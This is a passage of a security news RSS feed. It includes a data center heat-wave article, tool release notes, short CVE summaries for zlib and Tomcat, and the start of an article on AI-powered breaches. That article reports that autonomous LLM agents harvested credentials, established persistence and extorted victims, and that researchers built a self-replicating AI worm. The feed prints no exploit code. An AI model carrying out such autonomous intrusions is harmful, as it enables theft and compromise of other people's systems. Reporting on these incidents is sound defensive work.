<li>Agent view: the session you pressed ← from stays visibly marked even after mouse hover or arrow keys move the selection</li>
<li>Fable temporarily shows as unavailable in the advisor picker while a server-side issue causing Fable advisor failures is fixed</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How data centers cope with heat waves]]></title>
<description><![CDATA[Europe is sweltering. The summer of 2026 has seen historic heat waves that have taken a significant toll on infrastructure. In recent weeks, across the continent, problems have been reported in the power grid, telecommunications, and rail transportation. IT infrastructure has not been spared from...]]></description>
<link>https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/</guid>
<pubDate>Tue, 14 Jul 2026 22:52:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Europe is sweltering. The summer of 2026 has seen historic heat waves that have taken a significant toll on infrastructure. In recent weeks, across the continent, problems have <a href="https://www.bbc.com/news/articles/cj0gez6d50ro" target="_blank" rel="noreferrer noopener">been reported</a> in the power grid, telecommunications, and rail transportation. IT infrastructure has not been spared from the situation.</p>



<p class="wp-block-paragraph">“The heat affects equipment long before anyone notices a problem,” explains Ricardo Román, sales director at Fracttal, in an email. “Every piece of equipment has a temperature range within which it is designed to operate, and when it operates above that range, it begins to degrade silently,” he says. A process of wear and tear begins that will eventually take its toll. With technology, this happens much faster. “In a data center, this effect is amplified because there’s no margin for error,” he notes. When something starts to fail, everything grinds to a halt.</p>



<p class="wp-block-paragraph">In fact, this latest heat wave has already had negative impacts on data centers outside of Spain. In the United Kingdom, high temperatures shut down hospital data centers and <a href="https://www.lavanguardia.com/neo/ia/20260707/11586247/ola-calor-deja-fuera-combate-mayores-superordenadores-ia-1-000-hervidores-agua-funcionando-vez.html" target="_blank" rel="noreferrer noopener">caused</a> the University of Cambridge’s Dawn supercomputer to go offline, as its cooling systems were unable to cope with the temperatures. That’s the crux of the problem. “In IT, heat isn’t a computing problem—it’s a problem of maintaining the assets that support the data center,” explains Román. </p>



<p class="wp-block-paragraph">Heat thus becomes yet another risk for the IT industry and, in particular, for data centers. </p>



<p class="wp-block-paragraph">Temperatures are a clear and growing concern when it comes to corporate risk prevention. “I see it in conversations with clients: In the past, the maintenance team was the one monitoring the temperature in a technical room,” Román says. “Today, management also monitors it, because they know that if that goes down, the service goes down—and behind the service is the end customer,” he adds. Maintenance has gone from being a cost “to a lever for business continuity that no one dares to touch.”</p>



<p class="wp-block-paragraph">As a World Economic Forum analysis warns, we’re experiencing a boom in AI-driven <a href="https://www.computerworld.es/article/4166490/especial-centros-de-datos-2026.html">data centers</a>, but the impact of climate risks on them is being overlooked. Their estimates <a href="https://www.weforum.org/stories/climate-action/data-centres-3-3-trillion-question-heat-cooling/">suggest</a> these risks could result in an additional annual cost of $81 billion by 2035 and $168 billion by 2065. These calculations include all kinds of threats, such as floods or droughts, but most of the impact comes from extreme heat.</p>



<p class="wp-block-paragraph">These projections are confirmed by data from the industry itself: Over the past three years, extreme weather events <a href="https://www.cnbc.com/2026/06/29/ai-data-centers-heatwave-climate-risk-weather.html" target="_blank" rel="noreferrer noopener">have accounted for</a> one-third of the losses incurred by the U.S. division of the data center company Zurich. According to projections by the climate risk analysis firm First Street, 79% of global data centers will face increased risks from extreme weather. MapleCroft estimated in 2025 that 56% of major data centers had a high or very high risk rating for extreme heat, and that <a href="https://www.cio.com/article/4041210/las-olas-de-calor-pueden-poner-en-jaque-a-los-centros-de-datos.html" target="_blank">this figure would rise to 80% by 2080</a>.</p>



<p class="wp-block-paragraph">These percentages cannot be easily extrapolated to Europe in general—and to Spain in particular—as one might think, although they do make the trend clear. Guillermo Benito, CTO of Nabiax, points out during a video call that these studies are based on global samples and thus place significant weight on the capacity of Asia and the United States. “We represent a small percentage there, but that said, all countries will have to adapt. The two major challenges for data centers are energy and cooling,” Benitonotes.</p>



<h2 class="wp-block-heading">Spain: A pioneer in heat?</h2>



<p class="wp-block-paragraph">In late June, French Labor Minister Jean-Pierre Farandou <a href="https://www.france24.com/es/minuto-a-minuto/20260630-francia-quiere-estudiar-el-modelo-espa%C3%B1ol-para-adaptar-la-sociedad-al-calor-extremo" target="_blank" rel="noreferrer noopener">proposed</a> taking a training course in Spain to learn how to prevent high temperatures from paralyzing a country. Although Spain’s climate varies by region, high summer temperatures are common in many areas (though climate change has made them more extreme and frequent in recent years), and the infrastructure of knowledge and solutions that Farandou wanted to learn about has been established. The big question is whether this also applies to data centers. Is Spain better prepared than other European regions?</p>



<p class="wp-block-paragraph">“Heat waves are becoming increasingly intense and frequent. What used to happen once every two years now happens two, three, or four times a year,” Benito says. Speaking from his own experience, he adds: “In Spain, data centers already take these factors into account.” When it comes to redundancy, monitoring, or maintenance, these factors are already factored in. “It’s not like it’s an unforeseen event. It’s already been taken into account, and we build in a lot of redundancy—a wide safety margin,” he says.</p>



<p class="wp-block-paragraph">The difference compared to central or northern Europe is that some haven’t considered this possibility. Benito points out that the same thing happens with homes. “For many years, they’ve been designing with two assumptions: that they have plenty of water because their climates are humid, and that it never gets hot,” he says. And this is a problem, because their summer temperatures have risen significantly during extreme heat waves. “Temperatures in the UK have gone up by 10 or 15 degrees, and their data centers aren’t prepared for that,” he says. In fact, he shares an anecdote about “a certain hyperscaler that, a few years ago, when its data centers in the United Kingdom went down, held a global conference to figure out how this had happened and draw lessons from it.” The curious thing is that what they learned was something that was already well known in Spain.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/ismail-enes-ayhan-lVZjvw-u9V8-unsplash.jpg?quality=50&amp;strip=all&amp;w=1024" alt="centro de datos" class="wp-image-4094600" width="1024" height="589" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">İsmail Enes Ayhan | Unsplash</p></div>



<p class="wp-block-paragraph">It was already getting hot in southern Europe, and preparations were needed. Now, temperatures are becoming a topic of conversation outside the region, and climate change has made its way into IT strategy. Benito confirms that, yes, the conversation is more visible in global settings. “For several reasons. The first is because, obviously, it affects operations. Another is the market. Customers also demand that you address this.” Before, the focus was on power capacity and square meters. Now, the expert points out, people are asking where the electricity comes from and whether it’s clean, and they’re demanding emissions guarantees. The sector is making significant investments to become sustainable, he argues.</p>



<p class="wp-block-paragraph">Beyond consumption data and the improvements that can be made, the big question is whether these high temperatures are already impacting decision-making—whether decisions on where to locate data centers (or not) are already being made with heat in mind.</p>



<p class="wp-block-paragraph">Industry representatives explain that while the climate can have an impact and is already taken into account when deciding where to locate a data center, it is not yet the sole factor or the most decisive one. In other words, many other factors must be considered, and these carry much more weight in the decision-making process. One such factor is energy, which is essential for these infrastructures and must be constant, resilient, and have a low carbon footprint. It is also an area where cooling plays a major role. As Román points out, cooling can account for between 30 and 40% of energy consumption, “and in poorly managed facilities, that figure approaches 50%.” Energy efficiency and cooling efficiency are thus essential—and not just for sustainability reasons. “It’s a matter of the bottom line.”</p>



<p class="wp-block-paragraph">Another factor is space. As Benito says, you need “stable locations where you can grow.” This isn’t just about whether the infrastructure <em>fits</em>, but also about how it aligns with the needs of its customers. As this expert points out, the concentration of data centers near Madrid or Barcelona isn’t “just a whim,” but because you need to be close to large population centers to provide them with low latency. “Other supercomputing applications can be located farther away, and that’s already happening,” he explains, but generally speaking, you can’t just put data centers anywhere. You have to strike a balance between needs and available space.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"></blockquote>



<h2 class="wp-block-heading">How to survive the heat</h2>



<p class="wp-block-paragraph">So, how can we survive the heat, especially when projections suggest that the future will bring even higher temperatures? The key is to understand that this is no longer a curiosity or an occasional incident. As Román points out, air-conditioning systems are running longer and longer. What worked 10 years ago will now barely suffice—it’s “pushed to its limits.” “Heat is shifting from being an August blip to a variable that must be monitored year-round. One you endure; the other you manage.”</p>



<p class="wp-block-paragraph">“By the time the room’s thermometer rises, it’s already too late. What you need to monitor isn’t the room—it’s the equipment—and you have to do it sooner,” he says. Román recommends a three-step strategy. First, don’t measure the environment; instead, measure the equipment and its variations in temperature, vibrations, and energy consumption. Next, take action on any deviations: Don’t wait for a failure, but instead act on early indicators that things aren’t normal. And finally, keep a comprehensive record of historical data, which will be key to anticipating issues and learning from them. “And here I’m going to be honest, because this is what I see every day: The technology to do all this already exists and isn’t expensive,” he asserts. “Many critical facilities are still managed using an Excel spreadsheet and the memory of a technician who’s been there for twenty years,” he warns. And that’s a problem.</p>



<p class="wp-block-paragraph">In the specific case of data centers, Spain has done its homework. The high temperatures (which exceeded those recorded in the United Kingdom, where some data centers did shut down) did not bring them to a halt during this heat wave.</p>



<p class="wp-block-paragraph">Unlike what might happen in other countries, Spain has optimized its cooling systems to be efficient and sustainable, as Benito explains, noting that the country must also contend with water stress. “In other countries, I can use water and let it evaporate as I please because I know it’s going to rain again—or at least that was the case until recently. In Spain, we’ve known for a long time that this isn’t the case,” he says. That’s why we work with closed-loop systems. “Most of us operators don’t use any water,” he says. The same water, mixed with certain cooling agents, circulates continuously. “Once the loop is filled, we don’t lose a single drop,” he asserts.</p>



<p class="wp-block-paragraph">What this expert is now seeing at international conferences is that in other countries where water wasn’t an apparent problem, people are starting to talk about working this way—”as a technical innovation.” “That’s where we say, ‘Yes, just like the ones we have in Spain or Portugal,’” he remarks with a touch of humor. “Water, like energy, is a challenge,” he says, so everything has already been designed with that in mind. It isn’t wasted, it doesn’t evaporate, and it isn’t consumed, he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 10.1.1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Bug Fixes

Fix: Stop the assembly list from disposing removed assemblies]]></description>
<link>https://tsecurity.de/de/3668929/it-security-tools/ilspy-1011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668929/it-security-tools/ilspy-1011/</guid>
<pubDate>Tue, 14 Jul 2026 20:53:21 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<h1>Bug Fixes</h1>
<ul>
<li>Fix: Stop the assembly list from disposing removed assemblies</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.34.0]]></title>
<description><![CDATA[What's Changed

Make chromium testcases public when bug is made public by @jonathanmetzman in #5338

Full Changelog: v2.33.14...v2.34.0]]></description>
<link>https://tsecurity.de/de/3668562/it-security-tools/v2340/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668562/it-security-tools/v2340/</guid>
<pubDate>Tue, 14 Jul 2026 18:09:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Make chromium testcases public when bug is made public by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonathanmetzman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonathanmetzman">@jonathanmetzman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736495240" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5338" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5338/hovercard" href="https://github.com/google/clusterfuzz/pull/5338">#5338</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.33.14...v2.34.0"><tt>v2.33.14...v2.34.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9841 | zlib 1.2.8 Pointer Arithmetic inffast.c numeric error (RHSA-2017:1220 / Nessus ID 96691)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in zlib 1.2.8. This affects an unknown function in the library zlib of the file inffast.c of the component Pointer Arithmetic. Such manipulation leads to numeric error.

This vulnerability is listed as CVE-2016-9841. The attack may be...]]></description>
<link>https://tsecurity.de/de/3668088/sicherheitsluecken/cve-2016-9841-zlib-128-pointer-arithmetic-inffastc-numeric-error-rhsa-20171220-nessus-id-96691/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668088/sicherheitsluecken/cve-2016-9841-zlib-128-pointer-arithmetic-inffastc-numeric-error-rhsa-20171220-nessus-id-96691/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/zlib">zlib 1.2.8</a>. This affects an unknown function in the library <em>zlib</em> of the file <em>inffast.c</em> of the component <em>Pointer Arithmetic</em>. Such manipulation leads to numeric error.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2016-9841">CVE-2016-9841</a>. The attack may be performed from remote. There is no available exploit.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9842 | zlib 1.2.8 inflate.c inflateMark numeric error (RHSA-2017:1220 / Nessus ID 96691)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in zlib 1.2.8. This impacts the function inflateMark in the library zlib of the file inflate.c. Performing a manipulation results in numeric error.

This vulnerability is cataloged as CVE-2016-9842. It is possible to initiate the attack ...]]></description>
<link>https://tsecurity.de/de/3668087/sicherheitsluecken/cve-2016-9842-zlib-128-inflatec-inflatemark-numeric-error-rhsa-20171220-nessus-id-96691/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668087/sicherheitsluecken/cve-2016-9842-zlib-128-inflatec-inflatemark-numeric-error-rhsa-20171220-nessus-id-96691/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/zlib">zlib 1.2.8</a>. This impacts the function <code>inflateMark</code> in the library <em>zlib</em> of the file <em>inflate.c</em>. Performing a manipulation results in numeric error.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2016-9842">CVE-2016-9842</a>. It is possible to initiate the attack remotely. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9841 | Apple iOS up to 10.3.3 zlib numeric error (HT208112 / Nessus ID 100378)]]></title>
<description><![CDATA[A vulnerability marked as very critical has been reported in Apple iOS up to 10.3.3. This vulnerability affects unknown code of the component zlib. Performing a manipulation results in numeric error.

This vulnerability is identified as CVE-2016-9841. The attack can be initiated remotely. There i...]]></description>
<link>https://tsecurity.de/de/3668086/sicherheitsluecken/cve-2016-9841-apple-ios-up-to-1033-zlib-numeric-error-ht208112-nessus-id-100378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668086/sicherheitsluecken/cve-2016-9841-apple-ios-up-to-1033-zlib-numeric-error-ht208112-nessus-id-100378/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">very critical</a> has been reported in <a href="https://vuldb.com/product/apple:ios">Apple iOS up to 10.3.3</a>. This vulnerability affects unknown code of the component <em>zlib</em>. Performing a manipulation results in numeric error.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2016-9841">CVE-2016-9841</a>. The attack can be initiated remotely. There is not any exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9842 | Apple iOS up to 10.3.3 zlib numeric error (HT208112 / Nessus ID 100378)]]></title>
<description><![CDATA[A vulnerability described as very critical has been identified in Apple iOS up to 10.3.3. This issue affects some unknown processing of the component zlib. Executing a manipulation can lead to numeric error.

This vulnerability is tracked as CVE-2016-9842. The attack can be launched remotely. No ...]]></description>
<link>https://tsecurity.de/de/3668085/sicherheitsluecken/cve-2016-9842-apple-ios-up-to-1033-zlib-numeric-error-ht208112-nessus-id-100378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668085/sicherheitsluecken/cve-2016-9842-apple-ios-up-to-1033-zlib-numeric-error-ht208112-nessus-id-100378/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">very critical</a> has been identified in <a href="https://vuldb.com/product/apple:ios">Apple iOS up to 10.3.3</a>. This issue affects some unknown processing of the component <em>zlib</em>. Executing a manipulation can lead to numeric error.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2016-9842">CVE-2016-9842</a>. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9841 | Apple watchOS up to 3.2.3 zlib numeric error (HT208115 / Nessus ID 96376)]]></title>
<description><![CDATA[A vulnerability was found in Apple watchOS up to 3.2.3. It has been declared as very critical. The impacted element is an unknown function of the component zlib. Executing a manipulation can lead to numeric error.

This vulnerability appears as CVE-2016-9841. The attack may be performed from remo...]]></description>
<link>https://tsecurity.de/de/3668084/sicherheitsluecken/cve-2016-9841-apple-watchos-up-to-323-zlib-numeric-error-ht208115-nessus-id-96376/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668084/sicherheitsluecken/cve-2016-9841-apple-watchos-up-to-323-zlib-numeric-error-ht208115-nessus-id-96376/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/apple:watchos">Apple watchOS up to 3.2.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">very critical</a>. The impacted element is an unknown function of the component <em>zlib</em>. Executing a manipulation can lead to numeric error.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2016-9841">CVE-2016-9841</a>. The attack may be performed from remote. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9842 | Apple watchOS up to 3.2.3 zlib numeric error (HT208115 / Nessus ID 96376)]]></title>
<description><![CDATA[A vulnerability was found in Apple watchOS up to 3.2.3. It has been rated as very critical. This affects an unknown function of the component zlib. The manipulation leads to numeric error.

This vulnerability is traded as CVE-2016-9842. It is possible to initiate the attack remotely. There is no ...]]></description>
<link>https://tsecurity.de/de/3668083/sicherheitsluecken/cve-2016-9842-apple-watchos-up-to-323-zlib-numeric-error-ht208115-nessus-id-96376/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668083/sicherheitsluecken/cve-2016-9842-apple-watchos-up-to-323-zlib-numeric-error-ht208115-nessus-id-96376/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/apple:watchos">Apple watchOS up to 3.2.3</a>. It has been rated as <a href="https://vuldb.com/kb/risk">very critical</a>. This affects an unknown function of the component <em>zlib</em>. The manipulation leads to numeric error.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2016-9842">CVE-2016-9842</a>. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9841 | Apple tvOS up to 10.2.2 zlib numeric error (HT208113 / Nessus ID 100378)]]></title>
<description><![CDATA[A vulnerability has been found in Apple tvOS up to 10.2.2 and classified as very critical. This affects an unknown part of the component zlib. This manipulation causes numeric error.

This vulnerability is tracked as CVE-2016-9841. The attack is possible to be carried out remotely. No exploit exi...]]></description>
<link>https://tsecurity.de/de/3668082/sicherheitsluecken/cve-2016-9841-apple-tvos-up-to-1022-zlib-numeric-error-ht208113-nessus-id-100378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668082/sicherheitsluecken/cve-2016-9841-apple-tvos-up-to-1022-zlib-numeric-error-ht208113-nessus-id-100378/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:41 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/apple:tvos">Apple tvOS up to 10.2.2</a> and classified as <a href="https://vuldb.com/kb/risk">very critical</a>. This affects an unknown part of the component <em>zlib</em>. This manipulation causes numeric error.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2016-9841">CVE-2016-9841</a>. The attack is possible to be carried out remotely. No exploit exists.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9842 | Apple tvOS up to 10.2.2 zlib numeric error (HT208113 / Nessus ID 100378)]]></title>
<description><![CDATA[A vulnerability was found in Apple tvOS up to 10.2.2 and classified as very critical. This vulnerability affects unknown code of the component zlib. Such manipulation leads to numeric error.

This vulnerability is listed as CVE-2016-9842. The attack may be performed from remote. There is no avail...]]></description>
<link>https://tsecurity.de/de/3668081/sicherheitsluecken/cve-2016-9842-apple-tvos-up-to-1022-zlib-numeric-error-ht208113-nessus-id-100378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668081/sicherheitsluecken/cve-2016-9842-apple-tvos-up-to-1022-zlib-numeric-error-ht208113-nessus-id-100378/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/apple:tvos">Apple tvOS up to 10.2.2</a> and classified as <a href="https://vuldb.com/kb/risk">very critical</a>. This vulnerability affects unknown code of the component <em>zlib</em>. Such manipulation leads to numeric error.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2016-9842">CVE-2016-9842</a>. The attack may be performed from remote. There is no available exploit.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2016-9841 | Oracle Java SE 6u161/7u151/8u144 zlib numeric error (Nessus ID 103189 / ID 371397)]]></title>
<description><![CDATA[A vulnerability was found in Oracle Java SE 6u161/7u151/8u144. It has been classified as problematic. This vulnerability affects unknown code of the component zlib. The manipulation leads to numeric error.

This vulnerability is referenced as CVE-2016-9841. Remote exploitation of the attack is po...]]></description>
<link>https://tsecurity.de/de/3668080/sicherheitsluecken/cve-2016-9841-oracle-java-se-6u1617u1518u144-zlib-numeric-error-nessus-id-103189-id-371397/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668080/sicherheitsluecken/cve-2016-9841-oracle-java-se-6u1617u1518u144-zlib-numeric-error-nessus-id-103189-id-371397/</guid>
<pubDate>Tue, 14 Jul 2026 15:25:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/oracle:java_se">Oracle Java SE 6u161/7u151/8u144</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This vulnerability affects unknown code of the component <em>zlib</em>. The manipulation leads to numeric error.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2016-9841">CVE-2016-9841</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59083 | Apache Tomcat up to 11.0.23/10.1.56/9.0.119/8.5.100 Rewrite Valve encoding error (EUVD-2026-43638)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Apache Tomcat up to 11.0.23/10.1.56/9.0.119/8.5.100. This affects an unknown function of the component Rewrite Valve. This manipulation causes encoding error.

This vulnerability is registered as CVE-2026-59083. Remote exploitation of th...]]></description>
<link>https://tsecurity.de/de/3667845/sicherheitsluecken/cve-2026-59083-apache-tomcat-up-to-11023101569011985100-rewrite-valve-encoding-error-euvd-2026-43638/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667845/sicherheitsluecken/cve-2026-59083-apache-tomcat-up-to-11023101569011985100-rewrite-valve-encoding-error-euvd-2026-43638/</guid>
<pubDate>Tue, 14 Jul 2026 13:55:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/apache:tomcat">Apache Tomcat up to 11.0.23/10.1.56/9.0.119/8.5.100</a>. This affects an unknown function of the component <em>Rewrite Valve</em>. This manipulation causes encoding error.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-59083">CVE-2026-59083</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-powered breaches provide wake-up call for incident response]]></title>
<description><![CDATA[Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.



An increasing number of threat actors are automating all pha...]]></description>
<link>https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</guid>
<pubDate>Tue, 14 Jul 2026 09:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.</p>



<p class="wp-block-paragraph">An increasing number of threat actors are automating all phases of attacks, including lateral movement by using LLM-powered agents, severely reducing the time from initial access to deep environment compromises.</p>



<p class="wp-block-paragraph">“The real shift is speed, scale, and orchestration: familiar cloud attack techniques were executed faster and across more surfaces than defenders could comfortably contain,” wrote researchers from security firm Sygnia last week in <a href="https://www.sygnia.co/blog/inside-an-ai-assisted-cloud-attack/">a report about an AI-assisted cloud environment compromise</a> they investigated.</p>



<p class="wp-block-paragraph">Sygnia’s report came on the heels of research from Sysdig about <a href="https://www.csoonline.com/article/4193195/this-ai-agent-autonomously-hacked-a-network-adapted-on-the-fly-and-demanded-a-ransom.html">a cyber intrusion and extortion campaign conducted end to end by an autonomous AI agent</a>. Actions undertaken by the agent included harvesting credentials, mapping internal services, and establishing persistence.</p>



<p class="wp-block-paragraph">What both incidents show is that AI attacks have graduated beyond LLM-written malware scripts and phishing lures to handling all stages of attack chains, including parts that previously required human reasoning and hands-on command execution adapted to the environment.</p>



<p class="wp-block-paragraph">Last month researchers from the University of Toronto revealed that they <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">managed to create an AI-powered self-replicating worm</a> capable of autonomously finding and exploiting weaknesses in dozens of simulated systems. The researchers achieved this by leveraging an open-weight AI model and building an attack harness to keep it on track.</p>



<p class="wp-block-paragraph">While it may not be surprising to security experts that this level of AI-assisted attack automation is already happening in the wild, it’s very unlikely that many companies have had time to adapt their defenses.</p>



